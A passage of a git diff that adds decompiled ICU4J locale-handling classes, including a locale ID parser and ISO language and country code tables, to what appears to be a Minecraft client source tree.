+          capitalizationIn = contextItem;
+        }
+        
+      }
+      
+
+      if ((dialectHandlingIn != dialectHandling) || (capitalizationIn != capitalization) || (!locale.equals(this.locale))) {
+        this.locale = locale;
+        dialectHandling = dialectHandlingIn;
+        capitalization = capitalizationIn;
+        cache = new LocaleDisplayNamesImpl(locale, contexts);
+      }
+      return cache;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/LocaleIDParser.java b/src/minecraft/com/ibm/icu/impl/LocaleIDParser.java
new file mode 100644
index 0000000..8ef0246
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/LocaleIDParser.java
@@ -0,0 +1,742 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.impl.locale.AsciiUtil;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LocaleIDParser
+{
+  private char[] id;
+  private int index;
+  private StringBuilder buffer;
+  private boolean canonicalize;
+  private boolean hadCountry;
+  Map<String, String> keywords;
+  String baseName;
+  private static final char KEYWORD_SEPARATOR = '@';
+  private static final char HYPHEN = '-';
+  private static final char KEYWORD_ASSIGN = '=';
+  private static final char COMMA = ',';
+  private static final char ITEM_SEPARATOR = ';';
+  private static final char DOT = '.';
+  private static final char UNDERSCORE = '_';
+  private static final char DONE = '￿';
+  
+  public LocaleIDParser(String localeID)
+  {
+    this(localeID, false);
+  }
+  
+  public LocaleIDParser(String localeID, boolean canonicalize) {
+    id = localeID.toCharArray();
+    index = 0;
+    buffer = new StringBuilder(id.length + 5);
+    this.canonicalize = canonicalize;
+  }
+  
+  private void reset() {
+    index = 0;
+    buffer = new StringBuilder(id.length + 5);
+  }
+  
+
+
+
+
+  private void append(char c)
+  {
+    buffer.append(c);
+  }
+  
+  private void addSeparator() {
+    append('_');
+  }
+  
+
+
+  private String getString(int start)
+  {
+    return buffer.substring(start);
+  }
+  
+
+
+  private void set(int pos, String s)
+  {
+    buffer.delete(pos, buffer.length());
+    buffer.insert(pos, s);
+  }
+  
+
+
+  private void append(String s)
+  {
+    buffer.append(s);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private char next()
+  {
+    if (index == id.length) {
+      index += 1;
+      return 65535;
+    }
+    
+    return id[(index++)];
+  }
+  
+
+
+  private void skipUntilTerminatorOrIDSeparator()
+  {
+    while (!isTerminatorOrIDSeparator(next())) {}
+    index -= 1;
+  }
+  
+
+
+  private boolean atTerminator()
+  {
+    return (index >= id.length) || (isTerminator(id[index]));
+  }
+  
+
+
+
+
+  private boolean isTerminator(char c)
+  {
+    return (c == '@') || (c == 65535) || (c == '.');
+  }
+  
+
+
+  private boolean isTerminatorOrIDSeparator(char c)
+  {
+    return (c == '_') || (c == '-') || (isTerminator(c));
+  }
+  
+
+
+
+  private boolean haveExperimentalLanguagePrefix()
+  {
+    if (id.length > 2) {
+      char c = id[1];
+      if ((c == '-') || (c == '_')) {
+        c = id[0];
+        return (c == 'x') || (c == 'X') || (c == 'i') || (c == 'I');
+      }
+    }
+    return false;
+  }
+  
+
+
+
+  private boolean haveKeywordAssign()
+  {
+    for (int i = index; i < id.length; i++) {
+      if (id[i] == '=') {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  private int parseLanguage()
+  {
+    int startLength = buffer.length();
+    
+    if (haveExperimentalLanguagePrefix()) {
+      append(AsciiUtil.toLower(id[0]));
+      append('-');
+      index = 2;
+    }
+    
+    char c;
+    while (!isTerminatorOrIDSeparator(c = next())) {
+      append(AsciiUtil.toLower(c));
+    }
+    index -= 1;
+    
+    if (buffer.length() - startLength == 3) {
+      String lang = LocaleIDs.threeToTwoLetterLanguage(getString(0));
+      if (lang != null) {
+        set(0, lang);
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+  private void skipLanguage()
+  {
+    if (haveExperimentalLanguagePrefix()) {
+      index = 2;
+    }
+    skipUntilTerminatorOrIDSeparator();
+  }
+  
+
+
+
+
+
+
+
+
+  private int parseScript()
+  {
+    if (!atTerminator()) {
+      int oldIndex = index;
+      index += 1;
+      
+      int oldBlen = buffer.length();
+      
+      boolean firstPass = true;
+      char c; while ((!isTerminatorOrIDSeparator(c = next())) && (AsciiUtil.isAlpha(c))) {
+        if (firstPass) {
+          addSeparator();
+          append(AsciiUtil.toUpper(c));
+          firstPass = false;
+        } else {
+          append(AsciiUtil.toLower(c));
+        }
+      }
+      index -= 1;
+      
+
+      if (index - oldIndex != 5) {
+        index = oldIndex;
+        buffer.delete(oldBlen, buffer.length());
+      } else {
+        oldBlen++;
+      }
+      
+      return oldBlen;
+    }
+    return buffer.length();
+  }
+  
+
+
+
+
+
+
+  private void skipScript()
+  {
+    if (!atTerminator()) {
+      int oldIndex = index;
+      index += 1;
+      
+      char c;
+      while ((!isTerminatorOrIDSeparator(c = next())) && (AsciiUtil.isAlpha(c))) {}
+      index -= 1;
+      
+      if (index - oldIndex != 5) {
+        index = oldIndex;
+      }
+    }
+  }
+  
+
+
+
+
+  private int parseCountry()
+  {
+    if (!atTerminator()) {
+      int oldIndex = index;
+      index += 1;
+      
+      int oldBlen = buffer.length();
+      
+      boolean firstPass = true;
+      char c; while (!isTerminatorOrIDSeparator(c = next())) {
+        if (firstPass) {
+          hadCountry = true;
+          addSeparator();
+          oldBlen++;
+          firstPass = false;
+        }
+        append(AsciiUtil.toUpper(c));
+      }
+      index -= 1;
+      
+      int charsAppended = buffer.length() - oldBlen;
+      
+      if (charsAppended != 0)
+      {
+
+        if ((charsAppended < 2) || (charsAppended > 3))
+        {
+
+          index = oldIndex;
+          oldBlen--;
+          buffer.delete(oldBlen, buffer.length());
+          hadCountry = false;
+        }
+        else if (charsAppended == 3) {
+          String region = LocaleIDs.threeToTwoLetterRegion(getString(oldBlen));
+          if (region != null) {
+            set(oldBlen, region);
+          }
+        }
+      }
+      return oldBlen;
+    }
+    
+    return buffer.length();
+  }
+  
+
+
+
+
+  private void skipCountry()
+  {
+    if (!atTerminator()) {
+      if ((id[index] == '_') || (id[index] == '-')) {
+        index += 1;
+      }
+      
+
+
+
+      int oldIndex = index;
+      
+      skipUntilTerminatorOrIDSeparator();
+      int charsSkipped = index - oldIndex;
+      if ((charsSkipped < 2) || (charsSkipped > 3)) {
+        index = oldIndex;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int parseVariant()
+  {
+    int oldBlen = buffer.length();
+    
+    boolean start = true;
+    boolean needSeparator = true;
+    boolean skipping = false;
+    
+    boolean firstPass = true;
+    char c;
+    while ((c = next()) != 65535) {
+      if (c == '.') {
+        start = false;
+        skipping = true;
+      } else if (c == '@') {
+        if (haveKeywordAssign()) {
+          break;
+        }
+        skipping = false;
+        start = false;
+        needSeparator = true;
+      } else if (start) {
+        start = false;
+        if ((c != '_') && (c != '-')) {
+          index -= 1;
+        }
+      } else if (!skipping) {
+        if (needSeparator) {
+          needSeparator = false;
+          if ((firstPass) && (!hadCountry)) {
+            addSeparator();
+            oldBlen++;
+          }
+          addSeparator();
+          if (firstPass) {
+            oldBlen++;
+            firstPass = false;
+          }
+        }
+        c = AsciiUtil.toUpper(c);
+        if ((c == '-') || (c == ',')) {
+          c = '_';
+        }
+        append(c);
+      }
+    }
+    index -= 1;
+    
+    return oldBlen;
+  }
+  
+
+
+
+
+
+  public String getLanguage()
+  {
+    reset();
+    return getString(parseLanguage());
+  }
+  
+
+
+  public String getScript()
+  {
+    reset();
+    skipLanguage();
+    return getString(parseScript());
+  }
+  
+
+
+  public String getCountry()
+  {
+    reset();
+    skipLanguage();
+    skipScript();
+    return getString(parseCountry());
+  }
+  
+
+
+  public String getVariant()
+  {
+    reset();
+    skipLanguage();
+    skipScript();
+    skipCountry();
+    return getString(parseVariant());
+  }
+  
+
+
+  public String[] getLanguageScriptCountryVariant()
+  {
+    reset();
+    return new String[] { getString(parseLanguage()), getString(parseScript()), getString(parseCountry()), getString(parseVariant()) };
+  }
+  
+
+
+
+
+  public void setBaseName(String baseName)
+  {
+    this.baseName = baseName;
+  }
+  
+  public void parseBaseName() {
+    if (baseName != null) {
+      set(0, baseName);
+    } else {
+      reset();
+      parseLanguage();
+      parseScript();
+      parseCountry();
+      parseVariant();
+      
+
+      int len = buffer.length();
+      if ((len > 0) && (buffer.charAt(len - 1) == '_')) {
+        buffer.deleteCharAt(len - 1);
+      }
+    }
+  }
+  
+
+
+
+  public String getBaseName()
+  {
+    if (baseName != null) {
+      return baseName;
+    }
+    parseBaseName();
+    return getString(0);
+  }
+  
+
+
+
+  public String getName()
+  {
+    parseBaseName();
+    parseKeywords();
+    return getString(0);
+  }
+  
+
+
+
+
+
+  private boolean setToKeywordStart()
+  {
+    for (int i = index; i < id.length; i++) {
+      if (id[i] == '@') {
+        if (canonicalize) {
+          i++; for (int j = i; j < id.length; j++)
+            if (id[j] == '=') {
+              index = i;
+              return true;
+            }
+          break;
+        }
+        i++; if (i >= id.length) break;
+        index = i;
+        return true;
+      }
+    }
+    
+
+
+    return false;
+  }
+  
+  private static boolean isDoneOrKeywordAssign(char c) {
+    return (c == 65535) || (c == '=');
+  }
+  
+  private static boolean isDoneOrItemSeparator(char c) {
+    return (c == 65535) || (c == ';');
+  }
+  
+  private String getKeyword() {
+    int start = index;
+    while (!isDoneOrKeywordAssign(next())) {}
+    
+    index -= 1;
+    return AsciiUtil.toLowerString(new String(id, start, index - start).trim());
+  }
+  
+  private String getValue() {
+    int start = index;
+    while (!isDoneOrItemSeparator(next())) {}
+    
+    index -= 1;
+    return new String(id, start, index - start).trim();
+  }
+  
+  private Comparator<String> getKeyComparator() {
+    Comparator<String> comp = new Comparator() {
+      public int compare(String lhs, String rhs) {
+        return lhs.compareTo(rhs);
+      }
+    };
+    return comp;
+  }
+  
+
+
+  public Map<String, String> getKeywordMap()
+  {
+    if (keywords == null) {
+      TreeMap<String, String> m = null;
+      if (setToKeywordStart()) {
+        do
+        {
+          String key = getKeyword();
+          if (key.length() == 0) {
+            break;
+          }
+          char c = next();
+          if (c != '=')
+          {
+            if (c == 65535) {
+              break;
+            }
+          }
+          else
+          {
+            String value = getValue();
+            if (value.length() != 0)
+            {
+
+
+              if (m == null)
+                m = new TreeMap(getKeyComparator()); else {
+                if (m.containsKey(key)) {
+                  continue;
+                }
+              }
+              m.put(key, value);
+            } } } while (next() == ';');
+      }
+      keywords = (m != null ? m : Collections.emptyMap());
+    }
+    
+    return keywords;
+  }
+  
+
+
+
+  private int parseKeywords()
+  {
+    int oldBlen = buffer.length();
+    Map<String, String> m = getKeywordMap();
+    if (!m.isEmpty()) {
+      boolean first = true;
+      for (Map.Entry<String, String> e : m.entrySet()) {
+        append(first ? '@' : ';');
+        first = false;
+        append((String)e.getKey());
+        append('=');
+        append((String)e.getValue());
+      }
+      if (!first) {
+        oldBlen++;
+      }
+    }
+    return oldBlen;
+  }
+  
+
+
+  public Iterator<String> getKeywords()
+  {
+    Map<String, String> m = getKeywordMap();
+    return m.isEmpty() ? null : m.keySet().iterator();
+  }
+  
+
+
+
+  public String getKeywordValue(String keywordName)
+  {
+    Map<String, String> m = getKeywordMap();
+    return m.isEmpty() ? null : (String)m.get(AsciiUtil.toLowerString(keywordName.trim()));
+  }
+  
+
+
+  public void defaultKeywordValue(String keywordName, String value)
+  {
+    setKeywordValue(keywordName, value, false);
+  }
+  
+
+
+
+
+  public void setKeywordValue(String keywordName, String value)
+  {
+    setKeywordValue(keywordName, value, true);
+  }
+  
+
+
+
+
+
+
+  private void setKeywordValue(String keywordName, String value, boolean reset)
+  {
+    if (keywordName == null) {
+      if (reset)
+      {
+        keywords = Collections.emptyMap();
+      }
+    } else {
+      keywordName = AsciiUtil.toLowerString(keywordName.trim());
+      if (keywordName.length() == 0) {
+        throw new IllegalArgumentException("keyword must not be empty");
+      }
+      if (value != null) {
+        value = value.trim();
+        if (value.length() == 0) {
+          throw new IllegalArgumentException("value must not be empty");
+        }
+      }
+      Map<String, String> m = getKeywordMap();
+      if (m.isEmpty()) {
+        if (value != null)
+        {
+          keywords = new TreeMap(getKeyComparator());
+          keywords.put(keywordName, value.trim());
+        }
+      }
+      else if ((reset) || (!m.containsKey(keywordName))) {
+        if (value != null) {
+          m.put(keywordName, value);
+        } else {
+          m.remove(keywordName);
+          if (m.isEmpty())
+          {
+            keywords = Collections.emptyMap();
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/LocaleIDs.java b/src/minecraft/com/ibm/icu/impl/LocaleIDs.java
new file mode 100644
index 0000000..8fbadd7
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/LocaleIDs.java
@@ -0,0 +1,467 @@
+package com.ibm.icu.impl;
+
+
+
+
+
+
+
+
+
+public class LocaleIDs
+{
+  public LocaleIDs() {}
+  
+
+
+
+
+
+
+
+  public static String[] getISOCountries()
+  {
+    return (String[])_countries.clone();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String[] getISOLanguages()
+  {
+    return (String[])_languages.clone();
+  }
+  
+
+
+
+
+
+
+
+
+  public static String getISO3Country(String country)
+  {
+    int offset = findIndex(_countries, country);
+    if (offset >= 0) {
+      return _countries3[offset];
+    }
+    offset = findIndex(_obsoleteCountries, country);
+    if (offset >= 0) {
+      return _obsoleteCountries3[offset];
+    }
+    
+    return "";
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getISO3Language(String language)
+  {
+    int offset = findIndex(_languages, language);
+    if (offset >= 0) {
+      return _languages3[offset];
+    }
+    offset = findIndex(_obsoleteLanguages, language);
+    if (offset >= 0) {
+      return _obsoleteLanguages3[offset];
+    }
+    
+    return "";
+  }
+  
+
+  public static String threeToTwoLetterLanguage(String lang)
+  {
+    int offset = findIndex(_languages3, lang);
+    if (offset >= 0) {
+      return _languages[offset];
+    }
+    
+    offset = findIndex(_obsoleteLanguages3, lang);
+    if (offset >= 0) {
+      return _obsoleteLanguages[offset];
+    }
+    
+    return null;
+  }
+  
+
+  public static String threeToTwoLetterRegion(String region)
+  {
+    int offset = findIndex(_countries3, region);
+    if (offset >= 0) {
+      return _countries[offset];
+    }
+    
+    offset = findIndex(_obsoleteCountries3, region);
+    if (offset >= 0) {
+      return _obsoleteCountries[offset];
+    }
+    
+    return null;
+  }
+  
+
+
+
+  private static int findIndex(String[] array, String target)
+  {
+    for (int i = 0; i < array.length; i++) {
+      if (target.equals(array[i])) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final String[] _languages = { "aa", "ab", "ace", "ach", "ada", "ady", "ae", "af", "afa", "afh", "agq", "ain", "ak", "akk", "ale", "alg", "alt", "am", "an", "ang", "anp", "apa", "ar", "arc", "arn", "arp", "art", "arw", "as", "asa", "ast", "ath", "aus", "av", "awa", "ay", "az", "ba", "bad", "bai", "bal", "ban", "bas", "bat", "bax", "bbj", "be", "bej", "bem", "ber", "bez", "bfd", "bg", "bh", "bho", "bi", "bik", "bin", "bkm", "bla", "bm", "bn", "bnt", "bo", "br", "bra", "brx", "bs", "bss", "btk", "bua", "bug", "bum", "byn", "byv", "ca", "cad", "cai", "car", "cau", "cay", "cch", "ce", "ceb", "cel", "cgg", "ch", "chb", "chg", "chk", "chm", "chn", "cho", "chp", "chr", "chy", "ckb", "cmc", "co", "cop", "cpe", "cpf", "cpp", "cr", "crh", "crp", "cs", "csb", "cu", "cus", "cv", "cy", "da", "dak", "dar", "dav", "day", "de", "del", "den", "dgr", "din", "dje", "doi", "dra", "dsb", "dua", "dum", "dv", "dyo", "dyu", "dz", "dzg", "ebu", "ee", "efi", "egy", "eka", "el", "elx", "en", "enm", "eo", "es", "et", "eu", "ewo", "fa", "fan", "fat", "ff", "fi", "fil", "fiu", "fj", "fo", "fon", "fr", "frm", "fro", "frr", "frs", "fur", "fy", "ga", "gaa", "gay", "gba", "gd", "gem", "gez", "gil", "gl", "gmh", "gn", "goh", "gon", "gor", "got", "grb", "grc", "gsw", "gu", "guz", "gv", "gwi", "ha", "hai", "haw", "he", "hi", "hil", "him", "hit", "hmn", "ho", "hr", "hsb", "ht", "hu", "hup", "hy", "hz", "ia", "iba", "ibb", "id", "ie", "ig", "ii", "ijo", "ik", "ilo", "inc", "ine", "inh", "io", "ira", "iro", "is", "it", "iu", "ja", "jbo", "jgo", "jmc", "jpr", "jrb", "jv", "ka", "kaa", "kab", "kac", "kaj", "kam", "kar", "kaw", "kbd", "kbl", "kcg", "kde", "kea", "kfo", "kg", "kha", "khi", "kho", "khq", "ki", "kj", "kk", "kkj", "kl", "kln", "km", "kmb", "kn", "ko", "kok", "kos", "kpe", "kr", "krc", "krl", "kro", "kru", "ks", "ksb", "ksf", "ksh", "ku", "kum", "kut", "kv", "kw", "ky", "la", "lad", "lag", "lah", "lam", "lb", "lez", "lg", "li", "lkt", "ln", "lo", "lol", "loz", "lt", "lu", "lua", "lui", "lun", "luo", "lus", "luy", "lv", "mad", "maf", "mag", "mai", "mak", "man", "map", "mas", "mde", "mdf", "mdr", "men", "mer", "mfe", "mg", "mga", "mgh", "mgo", "mh", "mi", "mic", "min", "mis", "mk", "mkh", "ml", "mn", "mnc", "mni", "mno", "mo", "moh", "mos", "mr", "ms", "mt", "mua", "mul", "mun", "mus", "mwl", "mwr", "my", "mye", "myn", "myv", "na", "nah", "nai", "nap", "naq", "nb", "nd", "nds", "ne", "new", "ng", "nia", "nic", "niu", "nl", "nmg", "nn", "nnh", "no", "nog", "non", "nqo", "nr", "nso", "nub", "nus", "nv", "nwc", "ny", "nym", "nyn", "nyo", "nzi", "oc", "oj", "om", "or", "os", "osa", "ota", "oto", "pa", "paa", "pag", "pal", "pam", "pap", "pau", "peo", "phi", "phn", "pi", "pl", "pon", "pra", "pro", "ps", "pt", "qu", "raj", "rap", "rar", "rm", "rn", "ro", "roa", "rof", "rom", "ru", "rup", "rw", "rwk", "sa", "sad", "sah", "sai", "sal", "sam", "saq", "sas", "sat", "sba", "sbp", "sc", "scn", "sco", "sd", "se", "see", "seh", "sel", "sem", "ses", "sg", "sga", "sgn", "shi", "shn", "shu", "si", "sid", "sio", "sit", "sk", "sl", "sla", "sm", "sma", "smi", "smj", "smn", "sms", "sn", "snk", "so", "sog", "son", "sq", "sr", "srn", "srr", "ss", "ssa", "ssy", "st", "su", "suk", "sus", "sux", "sv", "sw", "swb", "swc", "syc", "syr", "ta", "tai", "te", "tem", "teo", "ter", "tet", "tg", "th", "ti", "tig", "tiv", "tk", "tkl", "tl", "tlh", "tli", "tmh", "tn", "to", "tog", "tpi", "tr", "trv", "ts", "tsi", "tt", "tum", "tup", "tut", "tvl", "tw", "twq", "ty", "tyv", "tzm", "udm", "ug", "uga", "uk", "umb", "und", "ur", "uz", "vai", "ve", "vi", "vo", "vot", "vun", "wa", "wae", "wak", "wal", "war", "was", "wen", "wo", "xal", "xh", "xog", "yao", "yap", "yav", "ybb", "yi", "yo", "ypk", "yue", "za", "zap", "zbl", "zen", "zh", "znd", "zu", "zun", "zxx", "zza" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final String[] _replacementLanguages = { "id", "he", "yi", "jv", "sr", "nb" };
+  
+
+
+  private static final String[] _obsoleteLanguages = { "in", "iw", "ji", "jw", "sh", "no" };
+  
+
+
+
+
+
+  private static final String[] _languages3 = { "aar", "abk", "ace", "ach", "ada", "ady", "ave", "afr", "afa", "afh", "agq", "ain", "aka", "akk", "ale", "alg", "alt", "amh", "arg", "ang", "anp", "apa", "ara", "arc", "arn", "arp", "art", "arw", "asm", "asa", "ast", "ath", "aus", "ava", "awa", "aym", "aze", "bak", "bad", "bai", "bal", "ban", "bas", "bat", "bax", "bbj", "bel", "bej", "bem", "ber", "bez", "bfd", "bul", "bih", "bho", "bis", "bik", "bin", "bkm", "bla", "bam", "ben", "bnt", "bod", "bre", "bra", "brx", "bos", "bss", "btk", "bua", "bug", "bum", "byn", "byv", "cat", "cad", "cai", "car", "cau", "cay", "cch", "che", "ceb", "cel", "cgg", "cha", "chb", "chg", "chk", "chm", "chn", "cho", "chp", "chr", "chy", "ckb", "cmc", "cos", "cop", "cpe", "cpf", "cpp", "cre", "crh", "crp", "ces", "csb", "chu", "cus", "chv", "cym", "dan", "dak", "dar", "dav", "day", "deu", "del", "den", "dgr", "din", "dje", "doi", "dra", "dsb", "dua", "dum", "div", "dyo", "dyu", "dzo", "dzg", "ebu", "ewe", "efi", "egy", "eka", "ell", "elx", "eng", "enm", "epo", "spa", "est", "eus", "ewo", "fas", "fan", "fat", "ful", "fin", "fil", "fiu", "fij", "fao", "fon", "fra", "frm", "fro", "frr", "frs", "fur", "fry", "gle", "gaa", "gay", "gba", "gla", "gem", "gez", "gil", "glg", "gmh", "grn", "goh", "gon", "gor", "got", "grb", "grc", "gsw", "guj", "guz", "glv", "gwi", "hau", "hai", "haw", "heb", "hin", "hil", "him", "hit", "hmn", "hmo", "hrv", "hsb", "hat", "hun", "hup", "hye", "her", "ina", "iba", "ibb", "ind", "ile", "ibo", "iii", "ijo", "ipk", "ilo", "inc", "ine", "inh", "ido", "ira", "iro", "isl", "ita", "iku", "jpn", "jbo", "jgo", "jmc", "jpr", "jrb", "jav", "kat", "kaa", "kab", "kac", "kaj", "kam", "kar", "kaw", "kbd", "kbl", "kcg", "kde", "kea", "kfo", "kon", "kha", "khi", "kho", "khq", "kik", "kua", "kaz", "kkj", "kal", "kln", "khm", "kmb", "kan", "kor", "kok", "kos", "kpe", "kau", "krc", "krl", "kro", "kru", "kas", "ksb", "ksf", "ksh", "kur", "kum", "kut", "kom", "cor", "kir", "lat", "lad", "lag", "lah", "lam", "ltz", "lez", "lug", "lim", "lkt", "lin", "lao", "lol", "loz", "lit", "lub", "lua", "lui", "lun", "luo", "lus", "luy", "lav", "mad", "maf", "mag", "mai", "mak", "man", "map", "mas", "mde", "mdf", "mdr", "men", "mer", "mfe", "mlg", "mga", "mgh", "mgo", "mah", "mri", "mic", "min", "mis", "mkd", "mkh", "mal", "mon", "mnc", "mni", "mno", "mol", "moh", "mos", "mar", "msa", "mlt", "mua", "mul", "mun", "mus", "mwl", "mwr", "mya", "mye", "myn", "myv", "nau", "nah", "nai", "nap", "naq", "nob", "nde", "nds", "nep", "new", "ndo", "nia", "nic", "niu", "nld", "nmg", "nno", "nnh", "nor", "nog", "non", "nqo", "nbl", "nso", "nub", "nus", "nav", "nwc", "nya", "nym", "nyn", "nyo", "nzi", "oci", "oji", "orm", "ori", "oss", "osa", "ota", "oto", "pan", "paa", "pag", "pal", "pam", "pap", "pau", "peo", "phi", "phn", "pli", "pol", "pon", "pra", "pro", "pus", "por", "que", "raj", "rap", "rar", "roh", "run", "ron", "roa", "rof", "rom", "rus", "rup", "kin", "rwk", "san", "sad", "sah", "sai", "sal", "sam", "saq", "sas", "sat", "sba", "sbp", "srd", "scn", "sco", "snd", "sme", "see", "seh", "sel", "sem", "ses", "sag", "sga", "sgn", "shi", "shn", "shu", "sin", "sid", "sio", "sit", "slk", "slv", "sla", "smo", "sma", "smi", "smj", "smn", "sms", "sna", "snk", "som", "sog", "son", "sqi", "srp", "srn", "srr", "ssw", "ssa", "ssy", "sot", "sun", "suk", "sus", "sux", "swe", "swa", "swb", "swc", "syc", "syr", "tam", "tai", "tel", "tem", "teo", "ter", "tet", "tgk", "tha", "tir", "tig", "tiv", "tuk", "tkl", "tgl", "tlh", "tli", "tmh", "tsn", "ton", "tog", "tpi", "tur", "trv", "tso", "tsi", "tat", "tum", "tup", "tut", "tvl", "twi", "twq", "tah", "tyv", "tzm", "udm", "uig", "uga", "ukr", "umb", "und", "urd", "uzb", "vai", "ven", "vie", "vol", "vot", "vun", "wln", "wae", "wak", "wal", "war", "was", "wen", "wol", "xal", "xho", "xog", "yao", "yap", "yav", "ybb", "yid", "yor", "ypk", "yue", "zha", "zap", "zbl", "zen", "zho", "znd", "zul", "zun", "zxx", "zza" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final String[] _obsoleteLanguages3 = { "ind", "heb", "yid", "jaw", "srp" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final String[] _countries = { "AD", "AE", "AF", "AG", "AI", "AL", "AM", "AO", "AQ", "AR", "AS", "AT", "AU", "AW", "AX", "AZ", "BA", "BB", "BD", "BE", "BF", "BG", "BH", "BI", "BJ", "BL", "BM", "BN", "BO", "BQ", "BR", "BS", "BT", "BV", "BW", "BY", "BZ", "CA", "CC", "CD", "CF", "CG", "CH", "CI", "CK", "CL", "CM", "CN", "CO", "CR", "CU", "CV", "CW", "CX", "CY", "CZ", "DE", "DJ", "DK", "DM", "DO", "DZ", "EC", "EE", "EG", "EH", "ER", "ES", "ET", "FI", "FJ", "FK", "FM", "FO", "FR", "GA", "GB", "GD", "GE", "GF", "GG", "GH", "GI", "GL", "GM", "GN", "GP", "GQ", "GR", "GS", "GT", "GU", "GW", "GY", "HK", "HM", "HN", "HR", "HT", "HU", "ID", "IE", "IL", "IM", "IN", "IO", "IQ", "IR", "IS", "IT", "JE", "JM", "JO", "JP", "KE", "KG", "KH", "KI", "KM", "KN", "KP", "KR", "KW", "KY", "KZ", "LA", "LB", "LC", "LI", "LK", "LR", "LS", "LT", "LU", "LV", "LY", "MA", "MC", "MD", "ME", "MF", "MG", "MH", "MK", "ML", "MM", "MN", "MO", "MP", "MQ", "MR", "MS", "MT", "MU", "MV", "MW", "MX", "MY", "MZ", "NA", "NC", "NE", "NF", "NG", "NI", "NL", "NO", "NP", "NR", "NU", "NZ", "OM", "PA", "PE", "PF", "PG", "PH", "PK", "PL", "PM", "PN", "PR", "PS", "PT", "PW", "PY", "QA", "RE", "RO", "RS", "RU", "RW", "SA", "SB", "SC", "SD", "SE", "SG", "SH", "SI", "SJ", "SK", "SL", "SM", "SN", "SO", "SR", "SS", "ST", "SV", "SX", "SY", "SZ", "TC", "TD", "TF", "TG", "TH", "TJ", "TK", "TL", "TM", "TN", "TO", "TR", "TT", "TV", "TW", "TZ", "UA", "UG", "UM", "US", "UY", "UZ", "VA", "VC", "VE", "VG", "VI", "VN", "VU", "WF", "WS", "YE", "YT", "ZA", "ZM", "ZW" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final String[] _deprecatedCountries = { "AN", "BU", "CS", "DD", "DY", "FX", "HV", "NH", "RH", "SU", "TP", "UK", "VD", "YD", "YU", "ZR" };
+  
+
+
+  private static final String[] _replacementCountries = { "CW", "MM", "RS", "DE", "BJ", "FR", "BF", "VU", "ZW", "RU", "TL", "GB", "VN", "YE", "RS", "CD" };
+  
+
+
+
+
+  private static final String[] _obsoleteCountries = { "AN", "BU", "CS", "FX", "RO", "SU", "TP", "YD", "YU", "ZR" };
+  
+
+
+
+
+  private static final String[] _countries3 = { "AND", "ARE", "AFG", "ATG", "AIA", "ALB", "ARM", "AGO", "ATA", "ARG", "ASM", "AUT", "AUS", "ABW", "ALA", "AZE", "BIH", "BRB", "BGD", "BEL", "BFA", "BGR", "BHR", "BDI", "BEN", "BLM", "BMU", "BRN", "BOL", "BES", "BRA", "BHS", "BTN", "BVT", "BWA", "BLR", "BLZ", "CAN", "CCK", "COD", "CAF", "COG", "CHE", "CIV", "COK", "CHL", "CMR", "CHN", "COL", "CRI", "CUB", "CPV", "CUW", "CXR", "CYP", "CZE", "DEU", "DJI", "DNK", "DMA", "DOM", "DZA", "ECU", "EST", "EGY", "ESH", "ERI", "ESP", "ETH", "FIN", "FJI", "FLK", "FSM", "FRO", "FRA", "GAB", "GBR", "GRD", "GEO", "GUF", "GGY", "GHA", "GIB", "GRL", "GMB", "GIN", "GLP", "GNQ", "GRC", "SGS", "GTM", "GUM", "GNB", "GUY", "HKG", "HMD", "HND", "HRV", "HTI", "HUN", "IDN", "IRL", "ISR", "IMN", "IND", "IOT", "IRQ", "IRN", "ISL", "ITA", "JEY", "JAM", "JOR", "JPN", "KEN", "KGZ", "KHM", "KIR", "COM", "KNA", "PRK", "KOR", "KWT", "CYM", "KAZ", "LAO", "LBN", "LCA", "LIE", "LKA", "LBR", "LSO", "LTU", "LUX", "LVA", "LBY", "MAR", "MCO", "MDA", "MNE", "MAF", "MDG", "MHL", "MKD", "MLI", "MMR", "MNG", "MAC", "MNP", "MTQ", "MRT", "MSR", "MLT", "MUS", "MDV", "MWI", "MEX", "MYS", "MOZ", "NAM", "NCL", "NER", "NFK", "NGA", "NIC", "NLD", "NOR", "NPL", "NRU", "NIU", "NZL", "OMN", "PAN", "PER", "PYF", "PNG", "PHL", "PAK", "POL", "SPM", "PCN", "PRI", "PSE", "PRT", "PLW", "PRY", "QAT", "REU", "ROU", "SRB", "RUS", "RWA", "SAU", "SLB", "SYC", "SDN", "SWE", "SGP", "SHN", "SVN", "SJM", "SVK", "SLE", "SMR", "SEN", "SOM", "SUR", "SSD", "STP", "SLV", "SXM", "SYR", "SWZ", "TCA", "TCD", "ATF", "TGO", "THA", "TJK", "TKL", "TLS", 